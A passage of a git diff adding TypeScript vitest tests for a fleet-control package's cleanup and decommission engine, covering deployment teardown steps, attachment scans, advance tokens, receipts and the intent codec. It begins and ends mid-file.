+    expect(store.record?.applicationResources?.[0]?.state).toBe('detached');
+    const state = activeIntent(store).state;
+    expect(state).toEqual({ step: 'r2-deletion', startResourceIndex: 0 });
+    expect(Object.hasOwn(state, 'verifiedDetachmentResourceIndex')).toBe(false);
+  });
+
+  it('persists nothing when the detachment assertion fails and replay re-derives the requirement', async () => {
+    const { store, backend } = harness();
+    const resource = r2Resource('created');
+    backend.liveBuckets.set(resource.bucketName, liveBucket(resource));
+    store.record = r2ActiveRecord(
+      { step: 'r2-deletion', startResourceIndex: 0 },
+      resource,
+    );
+    backend.detachFailure = new Error('bucket is still attached');
+    await expect(
+      continueWith(store, backend, token(0), { spec: r2Spec() }),
+    ).rejects.toThrow('bucket is still attached');
+    expect(store.puts).toBe(0);
+    expect(store.record?.applicationResources?.[0]?.state).toBe('created');
+    expect(activeIntent(store).revision).toBe(0);
+    backend.detachFailure = undefined;
+    backend.drainEvents();
+    const retried = await continueWith(store, backend, token(0), {
+      spec: r2Spec(),
+    });
+    expect(retried).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.drainEvents()).toEqual([
+      'findApplicationR2Bucket',
+      'assertApplicationR2Detached',
+    ]);
+    expect(activeIntent(store).state).toEqual({
+      step: 'r2-deletion',
+      startResourceIndex: 0,
+      verifiedDetachmentResourceIndex: 0,
+    });
+  });
+});
+
+describe('bounded cleanup attachment scan', () => {
+  it('targets the deployment database for cleanup attachment scans', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(discoverState());
+    backend.scanResults = [
+      {
+        status: 'pending',
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1',
+          databaseId: DATABASE_ID,
+        }),
+        providerFetchAttemptsReserved: 3,
+      },
+    ];
+    const pending = await continueWith(store, backend, token(0));
+    expect(pending).toEqual({ status: 'pending', token: token(1) });
+    const input = backend.scanInputs[0];
+    expect(input?.progress.target).toEqual({
+      kind: 'd1',
+      databaseId: DATABASE_ID,
+    });
+    backend.scanResults = [
+      {
+        status: 'pending',
+        progress: initialWorkerAttachmentScan({
+          kind: 'r2',
+          bucketName: 'stray-bucket',
+        }),
+        providerFetchAttemptsReserved: 3,
+      },
+    ];
+    await expect(continueWith(store, backend, token(1))).rejects.toThrow(
+      'bounded cleanup attachment result is malformed',
+    );
+  });
+
+  it('passes the call-local abort signal to the scan without persisting it', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(discoverState());
+    backend.scanResults = [scanComplete()];
+    const controller = new AbortController();
+    await continueWith(store, backend, token(0), { signal: controller.signal });
+    expect(backend.scanInputs[0]?.signal).toBe(controller.signal);
+    expect(JSON.stringify(store.record)).not.toContain('signal');
+  });
+
+  it('consumes matching discover and verify evidence into the database-deletion transition', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(verifyState());
+    backend.scanResults = [scanComplete()];
+    const consumed = await continueWith(store, backend, token(0));
+    expect(consumed).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.drainEvents()).toEqual(['attachmentScan']);
+    expect(activeIntent(store).state).toEqual({ step: 'database-deletion' });
+    const result = await continueWith(store, backend, token(1));
+    if (result.status !== 'complete') throw new Error('expected complete');
+    expect(result.receipt.evidence.scan).toBeUndefined();
+    expect(result.receipt.disposition).toBe('prepublication-owned-no-export');
+  });
+
+  it('restarts a new discover generation when verify evidence mismatches', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(verifyState());
+    backend.scanResults = [scanComplete(EVIDENCE_B, 3)];
+    const restarted = await continueWith(store, backend, token(0));
+    expect(restarted).toEqual({ status: 'pending', token: token(1) });
+    const intent = activeIntent(store);
+    expect(intent.generation).toBe(1);
+    if (intent.state.step !== 'attachment-scan') {
+      throw new Error('expected an attachment scan state');
+    }
+    expect(intent.state.scan.pass).toBe('discover');
+    expect(intent.state.scan.progress).toEqual(
+      initialWorkerAttachmentScan({ kind: 'd1', databaseId: DATABASE_ID }),
+    );
+    expect(backend.events).not.toContain('getDatabase');
+    expect(backend.events).not.toContain('deleteDatabase');
+  });
+
+  it('persists a safe blocked attachment and restarts only through restart-blocked', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(discoverState());
+    backend.scanResults = [scanAttached()];
+    const blocked = await continueWith(store, backend, token(0));
+    expect(blocked).toEqual({
+      status: 'blocked',
+      token: token(1),
+      purpose: {
+        kind: 'cleanup-database-pre-delete',
+        databaseId: DATABASE_ID,
+        operationId: OPERATION_ID,
+      },
+      attachment: {
+        plane: 'dispatch',
+        scriptName: 'tenant-holder',
+        dispatchNamespace: 'tenants',
+      },
+    });
+    backend.drainEvents();
+    const stillBlocked = await continueWith(store, backend, token(1));
+    expect(stillBlocked.status).toBe('blocked');
+    expect(backend.providerCalls).toBe(1);
+    expect(backend.drainEvents()).toEqual([]);
+    const restarted = await advanceCleanupDeployment(
+      options(store, backend, { kind: 'restart-blocked', token: token(1) }),
+    );
+    expect(restarted).toEqual({ status: 'pending', token: token(2) });
+    const intent = activeIntent(store);
+    expect(intent.generation).toBe(1);
+    if (intent.state.step !== 'attachment-scan') {
+      throw new Error('expected an attachment scan state');
+    }
+    expect(intent.state.scan.pass).toBe('discover');
+    await expect(
+      advanceCleanupDeployment(
+        options(store, backend, { kind: 'restart-blocked', token: token(2) }),
+      ),
+    ).rejects.toThrow(CleanupAdvanceRestartError);
+  });
+
+  it('returns blocked again when a restarted scan still finds an attachment', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      {
+        step: 'blocked',
+        purpose: {
+          kind: 'cleanup-database-pre-delete',
+          databaseId: DATABASE_ID,
+          operationId: OPERATION_ID,
+        },
+        attachment: { plane: 'ordinary', scriptName: 'tenant-holder' },
+      },
+      { revision: 3, generation: 1 },
+    );
+    const restarted = await advanceCleanupDeployment(
+      options(store, backend, { kind: 'restart-blocked', token: token(3) }),
+    );
+    expect(restarted).toEqual({ status: 'pending', token: token(4) });
+    expect(activeIntent(store).generation).toBe(2);
+    backend.scanResults = [scanAttached()];
+    const blockedAgain = await continueWith(store, backend, token(4));
+    expect(blockedAgain.status).toBe('blocked');
+    const intent = activeIntent(store);
+    expect(intent.state.step).toBe('blocked');
+  });
+});
+
+describe('bounded cleanup tokens', () => {
+  it('returns the authoritative result for a stale token without provider work', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord({ step: 'teardown-worker' }, { revision: 2 });
+    const result = await continueWith(store, backend, token(1));
+    expect(result).toEqual({ status: 'pending', token: token(2) });
+    expect(store.puts).toBe(0);
+    expect(backend.providerCalls).toBe(0);
+  });
+
+  it('rejects a future token', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord({ step: 'teardown-worker' }, { revision: 2 });
+    await expect(continueWith(store, backend, token(5))).rejects.toThrow(
+      CleanupAdvanceTokenFutureError,
+    );
+  });
+
+  it('rejects a token for another deployment before taking the lease', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord({ step: 'teardown-worker' });
+    await expect(
+      continueWith(
+        store,
+        backend,
+        token(0, OPERATION_ID, { tenantTag: 'zeta' }),
+      ),
+    ).rejects.toThrow(CleanupAdvanceTokenDeploymentError);
+    expect(store.puts).toBe(0);
+    expect(backend.providerCalls).toBe(0);
+  });
+
+  it('adjudicates delayed tokens against the immutable receipt', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    backend.databaseExists = false;
+    const terminal = await continueWith(store, backend, token(0));
+    if (terminal.status !== 'complete') throw new Error('expected complete');
+    const delayed = await continueWith(store, backend, token(0));
+    expect(delayed).toEqual({
+      status: 'complete',
+      token: token(0),
+      receipt: terminal.receipt,
+    });
+  });
+
+  it('returns the old receipt across a same-key reprovision and never touches the new row', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    backend.databaseExists = false;
+    const terminal = await continueWith(store, backend, token(0));
+    if (terminal.status !== 'complete') throw new Error('expected complete');
+    const reprovisioned = record({ phase: 'worker-deployed' });
+    store.record = reprovisioned;
+    const putsBefore = store.puts;
+    const delayed = await continueWith(store, backend, token(0));
+    expect(delayed).toEqual({
+      status: 'complete',
+      token: token(0),
+      receipt: terminal.receipt,
+    });
+    expect(store.record).toEqual(reprovisioned);
+    expect(store.puts).toBe(putsBefore);
+    store.record = activeRecord({ step: 'teardown-traffic' }, { record: {} });
+    store.record = {
+      ...store.record,
+      cleanupIntent: {
+        ...activeIntent(store),
+        operationId: OTHER_OPERATION_ID,
+        state: { step: 'teardown-traffic' },
+      },
+    };
+    const acrossNewOperation = await continueWith(store, backend, token(0));
+    expect(acrossNewOperation.status).toBe('complete');
+    expect(activeIntent(store).operationId).toBe(OTHER_OPERATION_ID);
+    expect(activeIntent(store).revision).toBe(0);
+  });
+
+  it('rejects a delayed token after its receipt is pruned', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    backend.databaseExists = false;
+    const terminal = await continueWith(store, backend, token(0));
+    expect(terminal.status).toBe('complete');
+    const pruned = await store.pruneCleanupReceipts?.({
+      completedBeforeMs: store.completedAtMs + 1,
+      limit: 1_000,
+    });
+    expect(pruned).toEqual({ deleted: 1 });
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      CleanupAdvanceTokenOperationError,
+    );
+  });
+
+  it('rejects cross-purpose tokens at the engine boundary', async () => {
+    const { store, backend } = harness();
+    store.record = record({
+      phase: 'decommission-advancing',
+      decommissionIntent: {
+        operationId: OPERATION_ID,
+      } as unknown as DecommissionAdvanceIntent,
+    });
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      CleanupAdvanceTokenOperationError,
+    );
+    const cleanup = harness();
+    cleanup.store.record = activeRecord({ step: 'teardown-traffic' });
+    await expect(
+      advanceDecommissionDeployment({
+        backend: cleanup.backend,
+        store: cleanup.store,
+        spec: spec(),
+        action: { kind: 'continue', token: token(0) },
+        maxProviderRequests: 9,
+        randomUUID: unexpectedUUID,
+      }),
+    ).rejects.toThrow(DecommissionAdvanceTokenOperationError);
+  });
+
+  it('converges a lost terminal write through the receipt lookup', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    backend.databaseExists = false;
+    store.failTerminalResponseOnce = true;
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      'terminal response lost',
+    );
+    expect(store.record).toBeUndefined();
+    expect(store.receipts.has(OPERATION_ID)).toBe(true);
+    const converged = await continueWith(store, backend, token(0));
+    if (converged.status !== 'complete') throw new Error('expected complete');
+    expect(converged.receipt).toEqual(store.receipts.get(OPERATION_ID));
+  });
+});
+
+describe('bounded cleanup capabilities', () => {
+  it('fails closed without provider calls when the terminal receipt capability is missing', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    store.supportsCompleteCleanup = false;
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      new CleanupAdvanceCapabilityError('terminal-receipt').message,
+    );
+    expect(backend.providerCalls).toBe(0);
+    expect(store.puts).toBe(0);
+  });
+
+  it('fails closed when the store cannot read cleanup receipts', async () => {
+    const { store, backend } = harness();
+    store.readCleanupReceipt = undefined;
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      new CleanupAdvanceCapabilityError('receipt-read').message,
+    );
+    expect(backend.providerCalls).toBe(0);
+  });
+
+  it('fails closed without provider calls when the attachment scan capability is missing', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(discoverState());
+    backend.advanceDecommissionAttachmentScan = undefined;
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      new CleanupAdvanceCapabilityError('attachment-scan').message,
+    );
+    expect(backend.providerCalls).toBe(0);
+    expect(store.puts).toBe(0);
+  });
+
+  it('fails closed without provider calls when an application R2 capability is missing', async () => {
+    const cases: readonly Readonly<{
+      state: ApplicationR2Resource['state'];
+      omit:
+        | 'findApplicationR2Bucket'
+        | 'assertApplicationR2Empty'
+        | 'assertApplicationR2Detached'
+        | 'deleteApplicationR2Bucket';
+      capability:
+        | 'application-r2-inspection'
+        | 'application-r2-empty'
+        | 'application-r2-detach'
+        | 'application-r2-delete';
+    }>[] = [
+      {
+        state: 'created',
+        omit: 'findApplicationR2Bucket',
+        capability: 'application-r2-inspection',
+      },
+      {
+        state: 'empty-authorized',
+        omit: 'assertApplicationR2Empty',
+        capability: 'application-r2-empty',
+      },
+      {
+        state: 'created',
+        omit: 'assertApplicationR2Detached',
+        capability: 'application-r2-detach',
+      },
+      {
+        state: 'delete-authorized',
+        omit: 'deleteApplicationR2Bucket',
+        capability: 'application-r2-delete',
+      },
+    ];
+    for (const testCase of cases) {
+      const { store, backend } = harness();
+      const resource = r2Resource(testCase.state);
+      backend.liveBuckets.set(resource.bucketName, liveBucket(resource));
+      store.record = r2ActiveRecord(
+        { step: 'r2-deletion', startResourceIndex: 0 },
+        resource,
+      );
+      backend[testCase.omit] = undefined;
+      await expect(
+        continueWith(store, backend, token(0), { spec: r2Spec() }),
+      ).rejects.toThrow(
+        new CleanupAdvanceCapabilityError(testCase.capability).message,
+      );
+      expect(backend.providerCalls).toBe(0);
+      expect(store.puts).toBe(0);
+    }
+  });
+});
+
+describe('bounded cleanup database deletion', () => {
+  it('reconciles a database-created cleanup without the owner requirement', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-created' },
+    );
+    backend.databaseOwner = undefined;
+    const result = await continueWith(store, backend, token(0));
+    expect(result.status).toBe('complete');
+    expect(backend.events).toEqual([
+      'getDatabase',
+      'residuals',
+      'deleteDatabase',
+      'getDatabase',
+    ]);
+    const owned = harness();
+    owned.store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'identity-seeded' },
+    );
+    owned.backend.databaseOwner = undefined;
+    await expect(
+      continueWith(owned.store, owned.backend, token(0)),
+    ).rejects.toThrow(
+      `refusing database operation for '${DATABASE_ID}' owned by 'no deployment'`,
+    );
+  });
+
+  it('clears an authorized reservation with the pinned freshness proof', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    backend.databaseOwner = undefined;
+    const result = await continueWith(store, backend, token(0));
+    if (result.status !== 'complete') throw new Error('expected complete');
+    expect(backend.seededFenceStates).toEqual(['migration-locked']);
+    expect(result.receipt.disposition).toBe('prepublication-owned-no-export');
+    expect(result.receipt.evidence.eligibility).toBe('reservation-only');
+    expect(backend.databaseExists).toBe(false);
+    const ownedElsewhere = harness();
+    ownedElsewhere.store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'database-create-authorized' },
+    );
+    ownedElsewhere.backend.databaseOwner = 'zeta';
+    await expect(
+      continueWith(ownedElsewhere.store, ownedElsewhere.backend, token(0)),
+    ).rejects.toThrow(
+      `refusing reserved database cleanup for '${DATABASE_ID}' owned by 'zeta'`,
+    );
+  });
+
+  it('re-checks eligibility with the persisted phase and the live carrier before deletion', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      { admittedPhase: 'worker-deployed' },
+    );
+    const result = await continueWith(store, backend, token(0));
+    expect(result.status).toBe('complete');
+    const authorized = harness();
+    authorized.store.record = activeRecord(
+      { step: 'database-deletion' },
+      {
+        admittedPhase: 'worker-deployed',
+        record: {
+          invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT },
+        },
+      },
+    );
+    await expect(
+      continueWith(authorized.store, authorized.backend, token(0)),
+    ).rejects.toThrow(
+      'deployment candidate invocation was durably authorized; use export-backed decommissioning',
+    );
+    expect(authorized.backend.events).not.toContain('deleteDatabase');
+    expect(authorized.store.completeCleanupCalls).toBe(0);
+    expect(authorized.store.record?.cleanupIntent?.revision).toBe(0);
+  });
+
+  it('refuses rollback database deletion the attempt does not own', async () => {
+    const { store, backend } = harness();
+    store.record = activeRecord(
+      { step: 'database-deletion' },
+      {
+        admittedPhase: 'identity-seeded',
+        authority: {
+          kind: 'provisioning-rollback',
+          reservationOwned: true,
+          databaseOwned: false,
+          workerCreatedByAttempt: false,
+          workerResourceState: 'absent',
+          requestedSpecDigest: deploymentSpecDigest(spec()),
+        },
+      },
+    );
+    await expect(continueWith(store, backend, token(0))).rejects.toThrow(
+      'provisioning rollback cannot delete a database the attempt does not own',
+    );
+    expect(backend.events).not.toContain('deleteDatabase');
+    expect(store.record?.cleanupIntent).toBeDefined();
+  });
+});
+
+describe('bounded cleanup rollback internals', () => {
+  it('persists rollback authority under a held lease and drains through the under-lease entry', async () => {
+    const { store, backend } = harness();
+    const seeded = record({ phase: 'database-created' });
+    store.record = seeded;
+    const authority = {
+      kind: 'provisioning-rollback',
+      reservationOwned: true,
+      databaseOwned: true,
+      workerCreatedByAttempt: true,
+      workerResourceState: 'unknown',
+      requestedSpecDigest: deploymentSpecDigest(spec()),
+    } as const;
+    const result = await store.withDeploymentLease(
+      'acme',
+      'production',
+      async (lease) => {
+        const admitted = await startProvisioningRollbackCleanup(
+          lease,
+          seeded,
+          authority,
+          { backend, spec: spec(), randomUUID: () => OPERATION_ID },
+        );
+        expect(admitted.cleanupIntent?.authority).toEqual(authority);
+        expect(admitted.cleanupIntent?.state).toEqual({
+          step: 'teardown-traffic',
+        });
+        expect(admitted.cleanupIntent?.identity.admittedPhase).toBe(
+          'database-created',
+        );
+        const drainOptions = options(store, backend, {
+          kind: 'continue',
+          token: token(0),
+        });
+        return advanceCleanupUnderLease(
+          drainOptions,
+          { kind: 'continue', token: token(0) },
+          token(0),
+          lease,
+        );
+      },
+    );
+    expect(result).toEqual({ status: 'pending', token: token(1) });
+    expect(backend.events).toEqual(['removeTraffic', 'assertTrafficRemoved']);
+    expect(activeIntent(store).state).toEqual({ step: 'teardown-worker' });
+  });
+});
diff --git a/packages/fleet-control/test/cleanup-intent.test.ts b/packages/fleet-control/test/cleanup-intent.test.ts
new file mode 100644
index 00000000..deb966ed
--- /dev/null
+++ b/packages/fleet-control/test/cleanup-intent.test.ts
@@ -0,0 +1,874 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  CLEANUP_INTENT_BYTE_BOUND,
+  CleanupAdvanceIntentError,
+  CleanupAdvanceTokenDeploymentError,
+  CleanupAdvanceTokenError,
+  CleanupAdvanceTokenFutureError,
+  CleanupAdvanceTokenOperationError,
+  CleanupTerminalReceiptError,
+  canonicalCleanupEvidenceBytes,
+  classifyCleanupAdvanceToken,
+  classifyCleanupDatabaseEligibility,
+  cleanupAdvanceIntentFromUnknown,
+  cleanupTerminalReceiptFromUnknown,
+  InvocationAuthorityCarrierError,
+  invocationAuthorityCarrierFromUnknown,
+  parseCleanupAdvanceToken,
+} from '../src/cleanup-intent.js';
+import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js';
+import {
+  DecommissionAdvanceIntentError,
+  decommissionAdvanceIntentFromUnknown,
+} from '../src/decommission-intent.js';
+import type {
+  CleanupAdvanceIntent,
+  CleanupAdvanceState,
+  CleanupAttachmentPurpose,
+  CleanupAuthority,
+  CleanupReceiptEvidence,
+  CleanupTerminalReceipt,
+  DecommissionAdvanceIntent,
+  ExternalMigrationIntent,
+  ExternalPlatformTargetDescription,
+  ExternalReleaseSnapshot,
+  FleetRecord,
+  ProvisioningPhase,
+} from '../src/types.js';
+import { PROVISIONING_PHASES } from '../src/types.js';
+
+const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab';
+const OTHER_OPERATION_ID = '87654321-4321-4abc-8def-ba0987654321';
+const DATABASE_ID = '00000000-0000-0000-0000-000000000001';
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+const NOW = '2026-08-29T12:00:00.000Z';
+const DIGEST = 'a'.repeat(64);
+const EVIDENCE = 'b'.repeat(64);
+const ADMITTED_PHASES = [
+  'database-reserved',
+  'database-create-authorized',
+  'database-created',
+  'identity-seeded',
+  'migrated',
+  'application-resources-create-authorized',
+  'application-resources-deployed',
+  'platform-resources-deployed',
+  'worker-deployed',
+  'maintenance-armed',
+] as const;
+const RESERVATION_PHASES = [
+  'database-reserved',
+  'database-create-authorized',
+] as const;
+const LEGACY_IMPOSSIBLE_PHASES = [
+  'database-created',
+  'identity-seeded',
+  'migrated',
+  'application-resources-create-authorized',
+] as const;
+
+function fleetRecord(overrides: Partial<FleetRecord> = {}): FleetRecord {
+  return {
+    tenantTag: 'acme',
+    environment: 'production',
+    backend: 'plain-worker',
+    scriptName: 'acme-production',
+    databaseId: DATABASE_ID,
+    databaseName: 'acme-production',
+    schemaVersion: 1,
+    artifactVersion: 'version-1',
+    desiredSpecDigest: DIGEST,
+    durableObjectBindings: [],
+    applicationResources: [],
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    routeHostname: 'acme.example.test',
+    phase: 'cleanup-advancing',
+    updatedAt: '2026-08-29T00:00:00.000Z',
+    ...overrides,
+  };
+}
+
+function identity(
+  overrides: Partial<CleanupAdvanceIntent['identity']> = {},
+  source: FleetRecord = fleetRecord(),
+): CleanupAdvanceIntent['identity'] {
+  return {
+    record: {
+      tenantTag: source.tenantTag,
+      environment: source.environment,
+      backend: source.backend,
+      scriptName: source.scriptName,
+      databaseId: source.databaseId,
+      databaseName: source.databaseName,
+      routeHostname: source.routeHostname,
+    },
+    admittedPhase: 'worker-deployed',
+    externalArtifact: false,
+    ...overrides,
+  };
+}
+
+function intent(
+  state: CleanupAdvanceState,
+  overrides: Partial<CleanupAdvanceIntent> = {},
+): CleanupAdvanceIntent {
+  return {
+    version: 1,
+    operationId: OPERATION_ID,
+    revision: 0,
+    generation: 0,
+    updatedAt: NOW,
+    authority: { kind: 'manual-cleanup' },
+    identity: identity(),
+    state,
+    ...overrides,
+  };
+}
+
+function purpose(): CleanupAttachmentPurpose {
+  return {
+    kind: 'cleanup-database-pre-delete',
+    databaseId: DATABASE_ID,
+    operationId: OPERATION_ID,
+  };
+}
+
+function scanProgress() {
+  return initialWorkerAttachmentScan({ kind: 'd1', databaseId: DATABASE_ID });
+}
+
+function parse(value: unknown, source: FleetRecord = fleetRecord()) {
+  return cleanupAdvanceIntentFromUnknown(value, source);
+}
+
+function rollbackAuthority(): CleanupAuthority {
+  return {
+    kind: 'provisioning-rollback',
+    reservationOwned: true,
+    databaseOwned: true,
+    workerCreatedByAttempt: false,
+    workerResourceState: 'absent',
+    requestedSpecDigest: DIGEST,
+  };
+}
+
+function decommissionRecord(): FleetRecord {
+  return fleetRecord({ phase: 'decommission-advancing' });
+}
+
+function decommissionDiscoverIntent(): DecommissionAdvanceIntent {
+  const source = decommissionRecord();
+  return {
+    version: 1,
+    operationId: OPERATION_ID,
+    revision: 0,
+    generation: 0,
+    updatedAt: NOW,
+    identity: {
+      record: {
+        tenantTag: source.tenantTag,
+        environment: source.environment,
+        backend: source.backend,
+        scriptName: source.scriptName,
+        databaseId: source.databaseId,
+        databaseName: source.databaseName,
+        routeHostname: source.routeHostname,
+      },
+      mode: {
+        kind: 'normal',
+        requestedSpecDigest: source.desiredSpecDigest,
+        entryLifecyclePhase: 'ready',
+      },
+    },
+    databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+    lifecyclePhase: 'application-resources-deleted',
+    state: 'discover',
+    purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID },
+    progress: scanProgress(),
+  };
+}
+
+function receiptEvidence(): CleanupReceiptEvidence {
+  return {
+    eligibility: 'carrier-null',
+    ingressRemoved: true,
+    workerAbsent: true,
+    platformResourcesAbsent: true,
+    applicationR2Settled: true,
+    databaseAbsentReadback: true,
+    scan: {
+      discover: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+      verify: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+    },
+  };
+}
+
+function terminalReceipt(
+  overrides: Partial<CleanupTerminalReceipt> = {},
+): CleanupTerminalReceipt {
+  const source = fleetRecord();
+  return {
+    version: 1,
+    operationId: OPERATION_ID,
+    tenantTag: source.tenantTag,
+    environment: source.environment,
+    backend: source.backend,
+    scriptName: source.scriptName,
+    databaseId: source.databaseId,
+    databaseName: source.databaseName,
+    authority: 'manual-cleanup',
+    admittedPhase: 'worker-deployed',
+    disposition: 'prepublication-owned-no-export',
+    evidence: receiptEvidence(),
+    ...overrides,
+  };
+}
+
+describe('cleanup advance intent codec', () => {
+  it('round-trips the teardown-traffic state', () => {
+    const value = intent({ step: 'teardown-traffic' });
+    expect(parse(value)).toEqual(value);
+    expect(() =>
+      parse({ ...value, state: { step: 'teardown-traffic', extra: 1 } }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the teardown-worker state', () => {
+    const value = intent(
+      { step: 'teardown-worker' },
+      { authority: rollbackAuthority() },
+    );
+    expect(parse(value)).toEqual(value);
+    expect(() =>
+      parse({
+        ...value,
+        state: { step: 'teardown-worker', startResourceIndex: 0 },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the teardown-platform state', () => {
+    const value = intent({ step: 'teardown-platform' }, { revision: 3 });
+    expect(parse(value)).toEqual(value);
+    expect(() =>
+      parse({ ...value, state: { step: 'teardown-platform', scan: {} } }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the r2-deletion state with and without a verified detachment index', () => {
+    const bare = intent({ step: 'r2-deletion', startResourceIndex: 1 });
+    expect(parse(bare)).toEqual(bare);
+    const verified = intent({
+      step: 'r2-deletion',
+      startResourceIndex: 1,
+      verifiedDetachmentResourceIndex: 1,
+    });
+    expect(parse(verified)).toEqual(verified);
+    expect(() =>
+      parse(intent({ step: 'r2-deletion', startResourceIndex: -1 })),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(
+        intent({
+          step: 'r2-deletion',
+          startResourceIndex: 0,
+          verifiedDetachmentResourceIndex: 1.5,
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse({
+        ...bare,
+        state: { step: 'r2-deletion', startResourceIndex: 0, extra: true },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the attachment-scan discover and verify passes', () => {
+    const discover = intent({
+      step: 'attachment-scan',
+      scan: { purpose: purpose(), pass: 'discover', progress: scanProgress() },
+    });
+    expect(parse(discover)).toEqual(discover);
+    const verify = intent({
+      step: 'attachment-scan',
+      scan: {
+        purpose: purpose(),
+        pass: 'verify',
+        progress: scanProgress(),
+        discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+      },
+    });
+    expect(parse(verify)).toEqual(verify);
+    expect(() =>
+      parse(
+        intent({
+          step: 'attachment-scan',
+          scan: {
+            purpose: purpose(),
+            pass: 'discover',
+            progress: scanProgress(),
+            discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 },
+          },
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(
+        intent({
+          step: 'attachment-scan',
+          scan: {
+            purpose: purpose(),
+            pass: 'verify',
+            progress: scanProgress(),
+          } as never,
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(
+        intent({
+          step: 'attachment-scan',
+          scan: {
+            purpose: purpose(),
+            pass: 'verify',
+            progress: scanProgress(),
+            discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 1 },
+          },
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+    expect(() =>
+      parse(
+        intent({
+          step: 'attachment-scan',
+          scan: {
+            purpose: purpose(),
+            pass: 'discover',
+            progress: { ...scanProgress(), stage: 'unknown-stage' } as never,
+          },
+        }),
+      ),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the blocked state with a safe attachment identity', () => {
+    const ordinary = intent({
+      step: 'blocked',
+      purpose: purpose(),
+      attachment: { plane: 'ordinary', scriptName: 'foreign-worker' },
+    });
+    expect(parse(ordinary)).toEqual(ordinary);
+    const dispatch = intent({
+      step: 'blocked',
+      purpose: purpose(),
+      attachment: {
+        plane: 'dispatch',
+        scriptName: 'foreign-worker',
+        dispatchNamespace: 'foreign-namespace',
+      },
+    });
+    expect(parse(dispatch)).toEqual(dispatch);
+    expect(() =>
+      parse({
+        ...ordinary,
+        state: {
+          step: 'blocked',
+          purpose: purpose(),
+          attachment: { plane: 'ordinary', scriptName: '' },
+        },
+      }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('round-trips the database-deletion state', () => {
+    const value = intent({ step: 'database-deletion' });
+    expect(parse(value)).toEqual(value);
+    expect(() =>
+      parse({ ...value, state: { step: 'database-deleting' } }),
+    ).toThrow(CleanupAdvanceIntentError);
+  });
+
+  it('rejects missing, extra, and malformed top-level keys', () => {
+    const value = intent({ step: 'teardown-traffic' });
+    const { state: _state, ...missing } = value;
+    expect(() => parse(missing)).toThrow(CleanupAdvanceIntentError);
+    expect(() => parse({ ...value, extra: 1 })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() => parse({ ...value, version: 2 })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() => parse({ ...value, operationId: 'not-a-uuid' })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() => parse({ ...value, revision: -1 })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() => parse({ ...value, generation: 1.5 })).toThrow(
+      CleanupAdvanceIntentError,
+    );
+    expect(() =>
